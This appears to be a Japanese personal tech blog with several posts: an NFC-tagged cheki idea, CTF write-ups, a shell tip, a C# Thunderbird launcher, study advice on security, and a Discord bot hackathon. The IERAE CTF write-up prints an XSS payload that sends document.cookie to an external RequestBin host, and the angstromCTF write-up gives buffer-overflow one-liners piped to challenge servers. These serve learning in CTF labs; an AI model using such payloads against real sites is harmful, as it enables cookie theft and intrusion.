チェキ × NFCタグの可能性
はじめに
本記事は ぴりみやとクリスマスまでカウントダウン‼️ Advent Calendar 2025 の23日目の記事です.
前置き
近年では「チェキを撮る」という行為が割と一般的に浸透してきているように思います.少し前の記事ですが,チェキの需要や売上高が過去最高に達したという記事もあります.*1
特にアイドル文化や推し活とチェキは切っても切れない関係性があります.*2
自分の推しは ぴりみや(@piri_miya)さん なのですが,推しとチェキを撮る中で,ふと「チェキにNFCタグを組み合わせて,思い出や推しに関連する情報を表示できれば面白いのではないか」という発想に至りました.
ということで,やってみました.
出来上がったもの

今回は ぴりみや(@piri_miya)さん のチェキにスマホをかざすと本人のXが表示されるようにしてみました.
方法
まず,NFCタグを準備します.

専用アプリを用いてNFCタグにXのURLを書き込みます.
今回はNFC Toolsというアプリを利用しました.
apps.apple.com

このタグをチェキの裏側に貼り付けて完成です(今回はチェキスリーブの中にシール台紙ごと挟み込んでいます).

広がるアイデア
今回はXのURLをNFCタグに書込んでいますが,次のようなデータを入れても面白そうだなと思っています.
そのチェキを撮ったイベント/ライブのチケットサイト(TIGETなど)のURL
- どこでチェキを撮ったかという情報や,その時の思い出をチェキ(アナログデータ)とチケットサイトの情報(デジタルデータ)両方で保持できるのは面白そう
楽曲(サブスク)へのURL
さいごに
今回は「チェキ × NFCタグの可能性」について見ていきました.
アイデア次第で無限の楽しみ方が広がりますね!!
謝辞
ぴりみや(@piri_miya)さん ,アドベントカレンダーの開催ありがとうございます.
https://t.co/TgfWppF7HM
— ぴりみや (@piri_miya) 2025年12月18日
マジで今更だけどアドベントカレンダー作った‼️
もちろん今日から24日までの間は書いてほしいんですが、埋まっちゃったら過去の日付で遡って書いていただくのも大歓迎です。
オタクとしての話、技術の話、仕事の話、人生の話、ぴりみやの話、なんでもアリ‼️
短くても良し‼️
*1:https://www.jiji.com/jc/v8?id=202406cheki-team
*2: 上岡磨奈, 「アイドル文化におけるチェキ論――関係性を写し出すメディアとして」, アイドル・スタディーズ, p. 122.
IERAE CTF 2025 Writeup
概要
IERAE CTF 2025のWriteup.
自分が解けたのは1問だけだったが,自身のふり返りと備忘録のため書き留めておく.
問題
Warmdown

Challenge
Markdownエディターになっており,Renderを押すと書いた内容がPreviewとHTMLに反映される

ソースコードを見ると独自でサニタイズやエスケープを実装していることが分かる
import fastify from "fastify"; import * as marked from "marked"; import path from "node:path"; const app = fastify(); app.register(await import("@fastify/static"), { root: path.join(import.meta.dirname, "public"), prefix: "/", }); const sanitize = (unsafe) => unsafe.replaceAll("<", "<").replaceAll(">", ">"); const escapeHtml = (str) => str .replaceAll("&", "&") .replaceAll("<", "<") .replaceAll(">", ">") .replaceAll('"', """) .replaceAll("'", "'"); const unescapeHtml = (str) => str .replaceAll("&", "&") .replaceAll("<", "<") .replaceAll(">", ">") .replaceAll(""", '"') .replaceAll("'", "'"); app.get("/render", async (req, reply) => { const markdown = sanitize(String(req.query.markdown)); if (markdown.length > 1024) { return reply.status(400).send("Too long"); } const escaped = escapeHtml(marked.parse(markdown)); const unescaped = unescapeHtml(escaped); return { escaped, unescaped }; }); app.listen({ port: 3000, host: "0.0.0.0" });
しかし,imgタグの中であればシングルクォートやダブルクォートのエスケープが機能していないことが分かった

また,記述したMarkdownの内容がgetパラメータのmarkdownに格納される

Admin Bot
URLを入れてReportを押すとAdminがそのサイトを訪れる

配布されているAdmin Botのソースコードより,訪れたサイトのcookieにFLAGを設定ししていることが分かる
import puppeteer from "puppeteer"; const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1); const APP_HOST = "web"; const APP_PORT = "3000"; export const APP_URL = `http://${APP_HOST}:${APP_PORT}`; // Flag format if (!/^IERAE{\w+}$/.test(FLAG)) { console.log("Bad flag"); process.exit(1); } const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms)); export const visit = async (url) => { console.log(`start: ${url}`); const browser = await puppeteer.launch({ headless: "new", executablePath: "/usr/bin/chromium", args: [ "--no-sandbox", "--disable-dev-shm-usage", "--disable-gpu", '--js-flags="--noexpose_wasm"', ], }); const context = await browser.createBrowserContext(); try { await context.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/", }); const page = await context.newPage(); await page.goto(url, { timeout: 5_000 }); await sleep(5_000); await page.close(); } catch (e) { console.error(e); } await context.close(); await browser.close(); console.log(`end: ${url}`); };
方針
MarkdownエディターでXSSを起こして,Admin Botで設定されているcookieを取得する
解法
imgタグのonerror属性に,cookieを取得して送信する処理を書く
cookieの送信先として,今回はpipedream(RequestBin)を使用した
- 書き込むMarkdown


最後の // は残骸のダブルクォートをコメントアウトするためのものである
上記MarkdownはHTMLで下記のように解釈される
<p><img src="aaa" alt=""onerror=fetch('https://xxxxxxxxx.m.pipedream.net?'+document.cookie)//"></p>
上記Markdownkを記述した状態で,MarkdownエディターのURLをAdmin Botに入れてReportすることで,Adminに設定されたcookieの値を取得することができる
(IPアドレスの部分はAdmin Botが解釈できるように「web」に置き換える必要がある)


FLAG
IERAE{I_know_XSS_is_the_m0st_popular_vu1nerabili7y}
感想
この手のXSS(adminにリンク踏ませてcookieを取得するタイプのXSS)の問題を解けたのが久しぶりだった.
最初はimgタグのsrcやaタグのhrefの方を注視していたため,imgのaltを弄ればいいと気づくのに遅れ,かなりの時間を費やしてしまった...が,まぁ最終的には時間内に解けたのでよし!!
【Tips】シェルで日時をファイル名としたファイルをリダイレクトで生成する方法
概要
シェルで日時をファイル名としたファイルをリダイレクトで生成する方法について自分用にメモしておく
方法1
もっといい方法があるかもしれないがとりあえず思いついたので書いておく
実行する内容
$ echo "記録したい内容" > `date | awk '{printf $6"_"$2"_"$3"_"$1"_"$4"_"$5".txt"}'`
解説
dateコマンドを実行すると Sat Dec 31 23:27:13 JST 2022 のように 曜日,月,日,時間,タイムゾーン,年が表示されるため(表示フォーマットは設定により異なる),これをawkコマンドで並べてアンダーバーで区切っている
方法2 (こちらの方が一般的?)
同様のコマンドをネットで検索すると下記の方法を紹介しているページが多い?
実行する内容
$ echo "記録したい内容" > `date "+%Y_%m_%d_%a_%H_%M_%S"`.txt
解説
dateコマンドのオプションで日時フォーマットを指定する方法.%Y が年,%mが月,%dが日,%aが曜日,%Hが時間,%Mが分,%Sが秒にそれぞれ対応している.これらをアンダーバーで区切っている
angstromCTF 2021 WriteUp
概要
angstromCTF 2021に参加したのでそのWriteUpです。
Misc
Archaic

archive.tar.gzの中身を確認してみます。

shellサーバの中のarchive.tar.gzの中にflag.txtが入っており、この中身が見れればOKのようです。
以下のtarコマンドを使って展開してみます。
tar xzvf archive.tar.gz
Operation not permittedとなって実行することが出来ません。

そこでファイル出力せずにファイルの中身を確認することにします。
以下のコマンドを実行します。
tar -zxOf archive.tar.gz flag.txt
flagが表示されました。

Rev
FREE FLAGS!!1!!
nc shell.actf.co 21703に接続してみます。

What number am I thinking of???と訊かれるので適当に数字を打ち込んでみると
Wrong >:((((となります。

プログラムをGhidraで解析してみます。
数字の入力が訊かれる部分を逆コンパイルすると以下のようになります。

どうやらWhat number am I thinking of???で訊かれる数字は31337であり、そのあとに訊かれるWhat two numbers am I thinking of???では足して1142、掛けて302937になる二つの数字、What animal am I thinking of???ではbananaという文字列を入力することでflagが表示されるようです。
足して1142、掛けて302937になる二つの数字を見つけます。
302937を素因数分解すると3×241×419になります。
3 × 241 + 419 = 723 + 419 = 1142なので入力する数字は723と419になります。
入力すると以下のようになりflagが表示されます。

BINARY
tranquil
nc shell.actf.co 21830に接続してみます。
Enter the secret wordと訊かれます。適当に文字を入力するとLogin failed!と表示されます。

#include <stdio.h> #include <stdlib.h> #include <string.h> int win(){ char flag[128]; FILE *file = fopen("flag.txt","r"); if (!file) { printf("Missing flag.txt. Contact an admin if you see this on remote."); exit(1); } fgets(flag, 128, file); puts(flag); } int vuln(){ char password[64]; puts("Enter the secret word: "); gets(&password); if(strcmp(password, "password123") == 0){ puts("Logged in! The flag is somewhere else though..."); } else { puts("Login failed!"); } return 0; } int main(){ setbuf(stdout, NULL); setbuf(stderr, NULL); vuln(); // not so easy for you! // win(); return 0; }
ソースコードを見てみるとgetsを使っていて入力できる文字数を制限していないためバッファオーバフローが起こせそうです。
またwin関数を実行することでflagが表示されるようです。
つまりバッファオーバフローを起こしてリターンアドレスを書き換えることでflagがゲットできそうです。
プログラムをGhidraで解析してwin関数のアドレスを調べます。

win関数のアドレスは0x00401196であることが分かりました。
リターンアドレスを書き換えるコードを作成します。(今回はshellのワンライナーで解きました)
vuln関数はpasswordが64バイトであり、古いrbpが8バイトあるためスタックは以下のようになります。
| 位置 | 大きさ | 内容 |
|---|---|---|
| rbp - 0x40 | 64バイト | password |
| rbp | 8バイト | 古いrbp |
| rbp + 0x08 | 8バイト | リターンアドレス |
※Ghidraのアドレス表示はリターンアドレスを基準としたもの(上記の表より8バイトずれている)なので注意
つまり72バイト適当な文字列を入力した後、 win関数のリターンアドレスを入力すればよさそうです。
以下shellのワンライナー
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x40\x00' | nc shell.actf.co 21830
※アドレスを入力するときはリトルエンディアンにする
実行すると以下のようになりflagが出ます。

Sanity Checks
nc shell.actf.co 21303に接続します。
Enter the secret wordと訊かれるので適当な文字列を入力するとLogin failed!と弾かれます。

#include <stdio.h> #include <stdlib.h> #include <string.h> void main(){ setbuf(stdout, NULL); setbuf(stderr, NULL); char password[64]; int ways_to_leave_your_lover = 0; int what_i_cant_drive = 0; int when_im_walking_out_on_center_circle = 0; int which_highway_to_take_my_telephones_to = 0; int when_i_learned_the_truth = 0; printf("Enter the secret word: "); gets(&password); if(strcmp(password, "password123") == 0){ puts("Logged in! Let's just do some quick checks to make sure everything's in order..."); if (ways_to_leave_your_lover == 50) { if (what_i_cant_drive == 55) { if (when_im_walking_out_on_center_circle == 245) { if (which_highway_to_take_my_telephones_to == 61) { if (when_i_learned_the_truth == 17) { char flag[128]; FILE *f = fopen("flag.txt","r"); if (!f) { printf("Missing flag.txt. Contact an admin if you see this on remote."); exit(1); } fgets(flag, 128, f); printf(flag); return; } } } } } puts("Nope, something seems off."); } else { puts("Login failed!"); } }
ソースコードを見てみるとtranquilと同じくgetsを使っていて入力できる文字数を制限していないためバッファオーバフローが起こせそうです。
このプログラムでflagを表示させるには6個の条件がそろう必要があります。
- 変数passwordの内容がpassword123
- 変数ways_to_leave_your_loverの値が50
- 変数what_i_cant_driveの値が55
- 変数when_im_walking_out_on_center_circleの値が245
- 変数which_highway_to_take_my_telephones_toの値が61
- 変数when_i_learned_the_truthの値が17
バッファオーバフローで変数の中身を書き換えるためにスタックの並びを調べます。今回はGhidraで解析します。
上記のソースコードをもとに逆コンパイル結果の変数名を修正するとmain関数のスタックは以下のようになります。

これを表にまとめると以下のようになります。
| 位置 | 大きさ | 内容 |
|---|---|---|
| rbp - 0xe0 | 128バイト | flag |
| rbp - 0x60 | 64バイト | password |
| rbp - 0x20 | 12バイト | *f |
| rbp - 0x14 | 4バイト | when_i_learned_the_truth |
| rbp - 0x10 | 4バイト | which_highway_to_take_my_telephones_to |
| rbp - 0x0c | 4バイト | when_im_walking_out_on_center_circle |
| rbp - 0x08 | 4バイト | what_i_cant_drive |
| rbp - 0x04 | 4バイト | ways_to_leave_your_lover |
| rbp | 8バイト | 古いrbp |
※Ghidraのアドレス表示はリターンアドレスを基準としたもの(上記の表より8バイトずれている)なので注意
つまりpassword123を入力した後53バイト分Null文字、12バイト分のNullポインタ、17を16進数に変換したもの(0x11)、61を16進数に変換したもの(0x3d)、245を16進数に変換したもの(0xf5)、55を16進数に変換したもの(0x37)、50を16進数に変換したもの(0x32)を入力します。

これらの情報をもとにコードを作成します。
以下shellのワンライナー
echo -e 'password123\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x3d\x00\x00\x00\xF5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00' | nc shell.actf.co 21303
※整数値を入力するときはリトルエンディアンにする
実行すると以下のようになりflagが出ます。

感想
今回は大学サークルのチームとして参加して、自分は4問解きました。
![]()
自分は2年前にも参加しました。その時は全く歯が立たなかったですが、今回は少しだけでも解けたので成長を実感できました。
Thunderbirdを自作プログラムから最小化状態で起動させる
概要
PCのメーラーをThunderbirdに乗り換えたところ、デフォルトで最小化状態のまま自動起動させるという機能が備わっていなかったため自分でプログラムを書いた。
(Thunderbirdを起動させていないと新着メールの通知が飛ばない)
まず試したこと
ここで紹介されている
スタートアップフォルダにショートカットを作る->ショートカットのプロパティ
->実行時の大きさ->最小化
を試したところ自分の環境ではうまくいかなかった(どうしても通常のウインドウサイズで起動してしまう)ため起動するためのプログラムを自作するに至った。
自作プログラム
ソースコード
今回はWindowsフォームアプリケーション(C#)として開発。
解説
dll読み込み
[DllImport("user32.dll", CharSet = CharSet.Auto)] static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll", CharSet = CharSet.Auto)] static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll",CharSet=CharSet.Auto)] static extern int ShowWindow(IntPtr hWnd, int nCmdShow); //[DllImport("user32.dll", CharSet = CharSet.Auto)] //static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); //[DllImport("user32.dll", CharSet = CharSet.Auto)] //static extern int GetWindowTextLength(IntPtr hwnd);
利用するWindows APIを読み込む。
下の二つはクラス名が分からない時に使うAPI(後述)である。
プログラム起動時(Form_Load)の処理
フォームの非表示
this.Hide();
今回フォーム本体は利用しないので非表示にする。
プロセス生成・起動
//プロセス生成 System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(); psi.FileName = "C:/Program Files/Mozilla Thunderbird/thunderbird.exe"; psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Minimized; //プロセススタート System.Diagnostics.Process hProcess = System.Diagnostics.Process.Start(psi);
System.Diagnostics.ProcessStartInfo()を利用してプロセスを生成。
FileNameでexeのパスを指定。
WindowStyleはなんでもよいが、今回はMinimizedにした。
System.Diagnostics.Process.Startでプロセスを起動させる。
起動するまで待つ
//6秒待つ→タイミングがずれた時にうまくいかない→WaitForInputIdleで解決 //System.Threading.Thread.Sleep(6000); //Thunderbirdが起動するまで待つ hProcess.WaitForInputIdle();
ウインドウを最小化するためにはプロセスが起動するまで待つ必要がある。
n秒待つというようなコードだとタイミングがずれた時にうまくいかなくなる。
WaitForInputIdle()を使うことでプロセスが起動するまで待つことができる。
クラス名が分からない時の処理
//↓↓クラス名が分からない時の処理↓↓ //(もしくはWinspector Spyを利用してクラス名を取得) //アクティブウインドウのウィンドウハンドルを取得 IntPtr hwnd = GetForegroundWindow(); //クラス名の長さを取得 int length = GetWindowTextLength(hwnd); //クラス名を取得 StringBuilder className = new StringBuilder(length); int ret = GetClassName(hwnd, className, length); //取得したクラス名をMesssageBoxで表示 MessageBox.Show(className.ToString()); //↑↑クラス名が分からない時の処理↑↑
ウインドウを制御するためにはウィンドウのクラス名を知る必要がある。
上記の方法もしくはWinspector Spyなどの専用のソフトウェアを使う方法の2種類がある。
上記の方法は
- アクティブウインドウのハンドルを取得
- クラス名の長さとクラス名と取得
- メッセージボックスで取得したクラス名を表示
という手順で取得している。
今回使用するのは「MozillaWindowClass」というクラス名。
プロセス名からウインドウタイトルを取得
//ウインドウタイトルをプロセス名から取得 //プロセス一覧からthunderbirdを検知→ウインドウタイトルを変数に格納 foreach (System.Diagnostics.Process p in System.Diagnostics.Process.GetProcesses()) { if (p.MainWindowTitle.Length != 0) { if (p.ProcessName.Contains("thunderbird")) { window_name = p.MainWindowTitle; } } }
ウインドウクラスだけではハンドルを取得することが出来なかったのでウインドウタイトルも指定する。
プロセス名からウインドウタイトルを取得して変数に格納している。
プロセス一覧をSystem.Diagnostics.Process.GetProcesses()を使って取得している。
ウインドウハンドルの取得
//事前に調べたクラス名(MozillaWindowClass)とウインドウタイトルからウインドウハンドルを取得 IntPtr hwnd = FindWindow("MozillaWindowClass",window_name);
上記で調べたクラス名とウインドウタイトルからウインドウハンドルを取得。
ウインドウを制御する
//thunderbirdのウインドウを最小化する ShowWindow(hwnd, 6);
ShowWindowの第一引数に取得したウインドウハンドル、第二引数に状態を渡す。
ShowWindowの第二引数の番号と状態の対応はこちら参照
終了処理
//ウインドウハンドルを閉じる hProcess.Close(); //ウインドウハンドルを破棄する hProcess.Dispose(); //本プログラムを終了させる this.Close();
ウインドウハンドルを閉じて破棄している。
そのあとthis.Close()することでプログラムを終了している。
ハマった点
Visual Studioに付属しているSpy++が起動しない

Visual Studioにはウインドウクラスを調べるためのSpy++というツールが付属しているが、これがユーザーアカウント制御でブロックされてしまう。(Administratorでログインしていてもダメ、管理者として実行してもダメ、多分セキュリティ対策ソフトが原因?)

(スクリーンショットが取れかなったのでモニター直撮り)
今回はSpy++の代替としてWinspector Spyを利用した。
ウインドウクラスだけではハンドルを取得できない
FindWindowについて検索しているとクラス名だけでハンドルを取得している例が見つかるが、Thunderbirdの場合はウインドウタイトルまで指定しないとハンドルが取得できなかった。
これはMozillaWindowClassというクラス名が複数使われていることが原因だと思われる。

↑Winspector SpyのWindow Listのスクリーンショット
ちなみに同じMozilla製であるFireFoxもMozillaWindowClassといいう名称のウインドウクラスを使用している。
アプリケーションの使い方
- まず、Thunderbirdの
オプション->一般->システム統合
から「最小化したThunderbirdをタスクトレイにしまう」を有効化する
- スタートアップフォルダに生成したexeのショートカットを置いておく。

こうすることでWindows起動時に最小化状態(タスクトレイ常駐)でThunderbirdを立ち上げることができる。
まとめ
今回はThunderbirdを最小化状態で起動させるプログラムを作ってみた。
Thunderbirdには最小化状態で起動させるアドオン等も存在するみたいだが、バージョンアップによってどれも使えなくなっていた。今回利用した方法も将来的にバージョンアップの影響で使えなくなる可能性があるが、その時はまた試行錯誤するしかない。
また、この方法を応用すればSlackなど他のアプリケーションにも使えるのではないかと思う。
「情報セキュリティを学ぶには?」という質問に対する答え
概要
とある場所で「情報セキュリティを学ぶにはどの大学が良いか」という質問を見かけたので自分の考えをまとめました。
本エントリーは情報セキュリティを学びたいと考えている中高生や現在情報セキュリティを学んでいる学生をターゲットに書いています。
筆者の立場
筆者は現在、長崎県立大学 情報システム学部 情報セキュリティ学科で学んでいる学生です。本エントリーはあくまで一学生としての考えです。
重要だと感じること
私が重要だと感じることは以下の3つです。
基礎知識
セキュリティは基礎知識の上に成り立つものです。個人的にはITパスポートから基本情報技術者のテクノロジ系出題範囲レベルの知識は必須だと考えています。机上での理解に加えて実際に演習(手を動かして理解)しておくとなお良いと思います。(特にLinuxの基本操作など)
Linux基本知識については下記を参考
Linux入門講座 - Speaker Deck
自主学習
自分で掘り下げて自己満足するまで学習するのが一番です。自分の興味のあることを自分で学び(理解し)、実践することが大切だと考えています。
コミュニティへの参加
知識の習得、情報収集、モチベーションの維持(刺激を受ける)、繋がりを広げるためにもコミュニティへの参加が大切だと感じています。
大学という場所
「情報セキュリティを学ぶのに大学で勉強する必要はない」という意見を言う人もいます。極論を言えば上記の3点の環境をそろえられるのであれば大学に拘泥する必要はないと思います。ただし知識なし、スキルなし、コミュニティとのつながりなしの状態から上記3点の環境を効率よくそろえるには大学に行くのが一番良いと感じています。
基礎知識を身につけるための大学
大学によってはITパスポートや基本情報技術者の取得を進級、卒業要件にしているところもあります。机上だけの基礎知識であれば多くの大学の授業で学ぶことができると思います。カリキュラムにこれら基礎知識を確認する演習(プログラミング、アルゴリズム、ネットワーク構築などの演習)があるところはなおよいと思います。
自主学習のための大学
基礎知識以上のものは興味に合わせて自分で学ぶ必要があります。自主学習のために先生方を頼ったり、大学図書館で最新の技術書を借りることができます。(大学図書館になければ購入希望や取り寄せることも可能)
Q.大学の通常授業ではだめなの?
大学の授業は大抵一科目当たり90分×15回というところが多いです。限られた時間の中で発展的なことを授業中に扱うのは限界があります。また授業を受けている学生のスキルは様々です。よって発展的なことを扱わない授業もあります。
また、授業は必ずしもシラバス通りに進むとは限りません。特に2020年度は新型コロナウイルス対策で対面授業から遠隔授業(オンデマンド授業)に切り替わったこともあり、シラバス通りに進んでいない授業やシラバスが授業直前に変更されるということが多々ありました。以上のことから(先生方には申し訳ないですが)授業に期待しすぎるのはあまりよくないと思っています。
(授業が実際どんなものだったかを知るには授業を受けた学生の感想を聞く、授業資料を見せてもらうといいと思います。先生によっては外部に授業資料を公開されている方もいらっしゃいます。)
コミュニティとしての大学
大学の機能として個人的に一番大きいと思うのがこの"コミュニティとしての大学"です。私もCyber研究会という情報系のサークルに参加していますが、このようなサークルや大学内のコミュニティに参加して知識習得・情報収集・モチベーションを維持することが大切だと感じています。
またサークルだけでなく先生方との繋がりがあるというところも大学の良いところだと思います。運が良ければ先生経由で企業の方と共同研究をすることができたり、学会に学生アルバイトとして参加できたり、産官学連携してイベントを開催できたりします。
先生が民間企業や官公庁出身の場合は現場の生の声を聞けます。
このような経験ができるのも大学というコミュニティならではであると感じています。
どの大学を選ぶ?
Q.情報セキュリティは理系?文系?
テクノロジーをメインで学びたいということであれば言わずもがな理系(情報系学部、情報工学)だと思います。
ただし、下記のようなテクノロジーの周りにある情報セキュリティをメインで学びたい場合どうでしょうか?
情報セキュリティにまつわる心理学
(例:標的型攻撃メールを信じてしてしまう人の心理、内部不正をする人の心理など)セキュリティインシデントがもたらす経済への影響
セキュリティ関係の法律について
これらをメインに学びたい場合は必ずしもセキュリティ=理系とは言えないと思います(理系の学部学科でも先生の専門分野に心理学、経済、法律などがあれば可能ですが)。
また仮に文系に進んだとしてもテクノロジーの勉強が全くできないかといえばそうでもないと思いますし、逆も然りだと思います。
ここで大切になってくるのは「何を中心に学びたいか」ということだと思います。
大学選びで重要なのは何を中心にどう学びたいか
理系にしろ文系にしろ大学選びは何を中心にどのように学びたいかが重要です。
日本の大学は学部の授業では基礎知識を中心に、研究室配属後から大学院にかけてセキュリティを学ぶというところが多く、学部の授業でセキュリティ分野をしっかり学ぶという大学は少数です(学部の授業でしっかりセキュリティをやるのは自分が知る限り、長崎県立大学 情報セキュリティ学科か立命館大学 情報理工学部 セキュリティ・ネットワークコースぐらいしかありません)。
それを踏まえて以下では3つの場合に分けてどのような大学がおすすめなのかを解説しています。
どの分野を学びたいかはっきりしている場合
ネットでの検索(「【学びたい分野】 大学」等のキーワードで検索)や情報セキュリティ関係の大学研究室一覧まとめ、論文(CiNii、Google Scholar等で検索、学会発表など)を見てどの大学を目指すか決めると良いと思います。あとは学費、地域、自分の学力との相談になると思います。
気を付ける点としては、自分が研究室配属される頃にその行きたかった研究室が存在する保証がないということです。よって学びたい分野を専門にしている先生が複数人いらっしゃる大学の方が安心です。
複数の分野を学びたい場合
情報セキュリティ関係の大学研究室一覧まとめや情報セキュリティ応用でリードする大学を見てそれぞれ自分の学びたい分野の先生がいらっしゃる大学を見つけるとよいと思います。
この際、長崎県立大学 情報セキュリティ学科や立命館大学 情報理工学部 セキュリティ・ネットワークコースのように情報セキュリティ関連全般が学べる大学というのも選択肢としてアリだと思います。
この場合も自分が研究室配属される頃にその行きたかった研究室が存在する保証がないという点には注意が必要です。
ざっくりと「セキュリティを学びたい」としか考えていない場合
セキュリティ全般が学べる大学(長崎県立大学 情報セキュリティ学科や立命館大学 情報理工学部 セキュリティ・ネットワークコースなど)をお勧めします。
ただしこの場合、研究室配属までに自分がどの分野に進みたいのかをはっきり決めておく必要があります。(要は大学入学から研究室配属までの期間をモラトリアムとして使うわけです)
勉強したい分野を絞るには
情報セキュリティにどのような分野があるのかを大まかに知るにはCTFに参加してみると良いと思います。CTFとはCapture The Flagのことで情報セキュリティの技術を競う競技のことです。Jeopardy形式のCTFでどのようなジャンルがあるのかを見ることで大まかな分野が分かると思います。
より詳細な実際の研究分野を知りたければ、論文を検索したり、学会発表(CSSやSCISなど)を調べたり聴講すると良いと思います。論文の内容を理解するのが難しければ雰囲気だけ感じ取るというのでもよいと思います。
また実際の学会誌を読んでみるのもよいと思います。情報処理学会のジュニア会員(小学生~大学学部3年生まで、登録年会費無料)であればネット上で見ることも可能です。大学図書館等で閲覧することもできます。
課外活動で学ぶ
以下は自主学習の手助けになる課外活動の紹介です。
enPiTのSecCapに参加する
文部科学省が主催しているenPiTという活動があります。その中のセキュリティ分野(SecCap)の授業に参加して知識をつけることもできます。これは大学の通常授業とは違い、大学教員 or 外部組織の方が授業や演習を行うというものです。
文科省主催ということもあってか授業、演習の質はある程度担保されているように感じます。
科目はそれぞれの大学で開講していますが、学内外関係なく好きな科目を受講することができます。科目群としては「専門科目」「演習科目」「先進演習科目」があります。
ただし、演習科目・先進演習科目は基礎知識があること前提となっているため、基礎知識をよく理解していない状態で履修すると演習についていけなくなります。
SecCapにはコース認定制度というものがあり(こちら参照)筆者も(学年の関係で本エントリー執筆時点では正式に認定されていませんが)Basic SecCap8認定相当の授業を履修しています。
主に学部3年生~4年生をターゲットにしているようですが、大学によっては学部1年生からでも履修可能です。
セキュリティ・キャンプ(地方大会、全国大会)やSecHack365に参加する
セキュリティ・キャンプ(地方大会、全国大会)やSecHack365に参加してセキュリティの知識やスキルを身につける方法もあります。これらは参加するための事前課題や年齢制限があるものなので誰でも参加できるというわけではありませんが、もし参加することができればかなり有意義なものになります。
参考 camera510pc7.hatenablog.com
情報収集の方法
人によって情報収集の方法は様々だと思いますが、自分はニュースサイトや有識者の方のTwitter、公的機関のTwitterから情報を得ることが多いです。
- ニュースサイトの例
- Twitterのリスト機能を活用した例
その他コミュニティ
セキュリティ要素の有無に関係なくITコミュニティを覗いてみるといいと思います。というのもこのようなコミュニティには業務でセキュリティをやっているという人も参加していて、そこで繋がりができることがあるからです。
地域のITコミュニティ
自分の地域のITコミュニティであれば(今はご時世的に難しいですが)オンサイトのイベントにも参加しやすいです。このような地域コミュニティを見つけるにはconnpassやTECH PLAYといったプラットフォームを定期的に確認しておくとよいです。
例として私のいる長崎、九州で活動しているコミュニティを上げておきます。
オンラインのITコミュニティ
最近はコロナの影響もあり、オンラインのコミュニティが増えてきました。以下はオンラインで活動しているコミュニティの一部です。
japan-bug-bounty-forums.vercel.app
その他、slackやdiscord、LINEのオープンチャットで活動しているコミュニティもあります。
まとめ
自分の考えをつらつら書いていたら思ったより長くなってしまいました。(汗)
まとめると
- 「基礎知識」「自主学習」「コミュニティへの参加」が大事
- 上記の環境を整えるのであれば大学が最適
- 大学は「何を中心にどのように学びたいか」で選ぶ
といったところでしょうか
参考
ハッカソンでDiscordBotを作りました
概要
9月20日から22日までサークル内でオンラインハッカソン・アイデアソンを開催しました。その内容を紹介していきます。
GoogleMeetを使って行いました。
サークル内で参加希望を取ったものの実際に参加したのは3~4人程度でした。(時期が悪かったっぽい...)
アイデアソン
まずはアイデアソンを行いました。
それぞれのアイデアをスライド1枚にまとめてもらい、画面共有をして発表を行いました。そしてGoogleフォームにて各案の投票を行いました。
投票の結果以下のような機能を持ったDiscordのbotを参加者みんな(3~4人)で作ることになりました。
ハッカソン
20日の昼頃から21日の夜まで実装を行いました。そして22日の午前中に発表資料を作り、午後から実際に発表を行いました。
画像検索機能
という流れです。


地震情報表示機能
今回は地震情報の取得にP2P地震情報というものを利用しています。
マグニチュードを指定するとそのマグニチュードの地震についての情報を表示しています。


タイマー
時間(分)を指定するとその時間後にお知らせしてくれるというものです。


YouTube新着動画通知
事前に登録したYouTubeチャンネルに新着動画が上がったら教えてくれる機能。
こちらはノンコーディングで実現!!


くじ引き機能(おまけ)
参加していた後輩が急遽作成した機能です。(予定していた機能を作り終えて余裕があったらしい)
くじの最大値を入力すると1からその数値までの乱数を返すというものです。


成果物発表
成果物の内容をスライドにまとめてGoogleMeetで画面共有をしながら発表しました。(全員この開発に携わっていましたが...)
スライドは上記の画像をまとめたものです。
ソースコード
感想
良かった点
今回初めてdiscordのbotを開発したので良い経験になりました。思っていたよりも簡単に実装できました。またPythonで外部のAPIを叩いてJSONを取得してくるというのも今までしたことがなかったので勉強になりました。
反省点
対面で作業をしているわけではないため、チームのメンバーの進捗状況が分かりずらかったです。進捗報告を求めると把握することはできますが、頻繁に行わないと順調に進んでいるのかつまずいているのかが全く分からなかったです。オンラインを使ってチーム開発するときは進捗報告をこまめに行うことが大切だと思いました。
総括
開催頻度は低いかもしれないけれどまたサークル内でハッカソンを開催できればいいなぁ
